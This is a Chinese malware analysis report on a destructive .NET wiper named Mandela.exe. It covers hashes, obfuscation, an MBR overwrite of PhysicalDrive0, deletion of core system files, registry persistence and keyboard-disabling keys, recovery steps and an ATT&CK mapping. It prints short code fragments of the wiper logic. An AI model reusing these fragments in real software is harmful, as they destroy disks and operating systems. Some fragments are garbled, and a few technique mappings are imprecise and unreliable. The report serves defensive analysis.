名称: Mandela.exe
大小: 15917568 字节 (15 MiB)
CRC32: 415212F1
CRC64: 66DAA19D15CAB783
SHA256: c6818da28a36a7ed628e5a86ede3a642b609b34b2f61ae4dba9a4814d6822d2f
SHA1: eac84b6bc1be332af4bafc1bdac30b40041a1295
BLAKE2sp: 66cf897e74990409145f649c8410248b84906d8d2d53380e31826e11f7f07762
类型:破坏性恶意软件(MBR Wiper + 文件删除 + 注册表篡改)
平台:.NET Framework 4.0+
混淆方式:.NET Reactor + 自定义混淆
动态分析:Windows 7 Professional x64
该恶意软件通过高度混淆的.NET程序集实现多重破坏行为,包括覆盖MBR、删除系统文件、篡改注册表及图形界面干扰。其代码结构复杂,采用动态加载和反分析技术。
控制流混淆(大量goto和switch-case)
switch (num) {
case 0: goto IL_53D;
case 1: goto IL_15AB; // 人为制造分析障碍
}
string res = Y5LeWre3trqtYFruj9Q.dsVer8Edu3(163352189 ^ <Module>.m_xxx);
education
)中,运行时解密加载。[DllImport("ntdll.dll")]
public static extern int NtSetInformationProcess(IntPtr hProcess, int infoClass, ref int value, int size);
if (DateTime.Now > new DateTime(2023, 4, 27))
throw new Exception("This assembly is protected...");
代码路径:Mbr_Writter.Mbr()
技术细节:
IntPtr hDisk = CreateFile("\\\\.\\PhysicalDrive0", 0x10000000, 0, IntPtr.Zero, 3, 0, IntPtr.Zero);
WriteFile(hDisk, maliciousMBRData, 512, out bytesWritten, IntPtr.Zero);
这些东西将被删掉:
C:\Windows\system32\taskmgr.exe
C:\Windows\system32\drivers\*.*
C:\Windows\regedit.exe
C:\Users\Administrator\*.doc
========
C:\Windows\system32\ntoskrnl.exe
C:\Windows\system32\hal.dll
(如果可以的话)
删除逻辑:
File.SetAttributes(file, FileAttributes.Normal); // 解除只读属性
File.Delete(file); // 强制删除
目标注册表项 | 描述 | 影响 |
---|---|---|
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options | 设置调试器为恶意程序 (在代码中发现相关逻辑但是动态分析时候没有执行) | 劫持合法进程执行 |
HKCU\Software\Microsoft\Windows\CurrentVersion\Run | 添加自启动项1 (在代码中发现相关逻辑但是动态分析时候没有执行) | 持久化驻留 |
HKLM\Software\Microsoft\Windows NT\CurrentVersion\WinLogon\Shell | 添加自启动项2 | 持久化驻留 |
HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger | 禁用事件日志(Start=0) | 掩盖攻击痕迹 |
HKLM\SYSTEM\ControlSet001\Control\Keyboard Layout\Scancod Map | 此注册表项可以修改键盘的按键功能,实现键盘功能的自定义 | 键盘无法使用 |
代码路径:gdi.gdi_payload()
行为:
BitBlt
扭曲屏幕显示:BitBlt(hdcDest, x, y, width, height, hdcSrc, xSrc, ySrc, SRCCOPY);
依赖库:SysPrivileges
操作:
SeDebugPrivilege
和SeTakeOwnershipPrivilege
:Privileges.EnablePrivilege("SeDebugPrivilege");
graph TD
A[启动] --> B[反调试检查]
B --> C{是否过期?}
C -->|是| D[抛出异常]
C -->|否| E[解密资源]
E --> F[加载恶意模块]
F --> G[MBR覆盖]
F --> H[文件删除]
F --> I[注册表篡改]
F --> J[图形干扰]
G --> K[系统无法启动]
· 进入PE系统
· 使用DiskGenius找回分区表并重建MBR
· 使用BOOTICE修复BCD文件
· 打开准备好的系统镜像,将/Windows/System32/Drivers/中的所有文件复制到C:\Windows\System32\Drivers\ · 补齐其他被删除的文件
· 打开注册表,挂载C:\Windows\System32\Config中的Software和System两个文件 · 定位到‘HKLM\Software\Microsoft\Windows NT\CurrentVersion\WinLogon\Shell’,里面有explorer.exe和Mandela.exe,把Mandela.exe 删除,保留explorer.exe
` 定位到HKLM\SYSTEM\ControlSet001\Control\Keyboard Layout\,删除Scancod Map这个注册表项 · 删除C:\Windows\Mandela.exe
· 重启进入系统,重新安装其他无法正常工作的设备驱动程序
// 文件删除逻辑(简化版)
public void DeleteSystemFiles() {
foreach (var file in new[] {"ntoskrnl.exe", "hal.dll"}) {
try {
File.Delete(Path.Combine(Environment.SystemDirectory, file));
} catch { /* 静默失败 */ }
}
}
技术 | Tactic | Technique ID |
---|---|---|
MBR覆盖 | Impact (TA0040) | T1490 - Inhibit System Recovery |
注册表持久化 | Persistence (TA0003) | T1112 - Modify Registry |
禁用任务管理器 | Defense Evasion (TA0005) | T1562.001 - Disable Tools |
报告备注:
上一篇:没有了
下一篇:没有了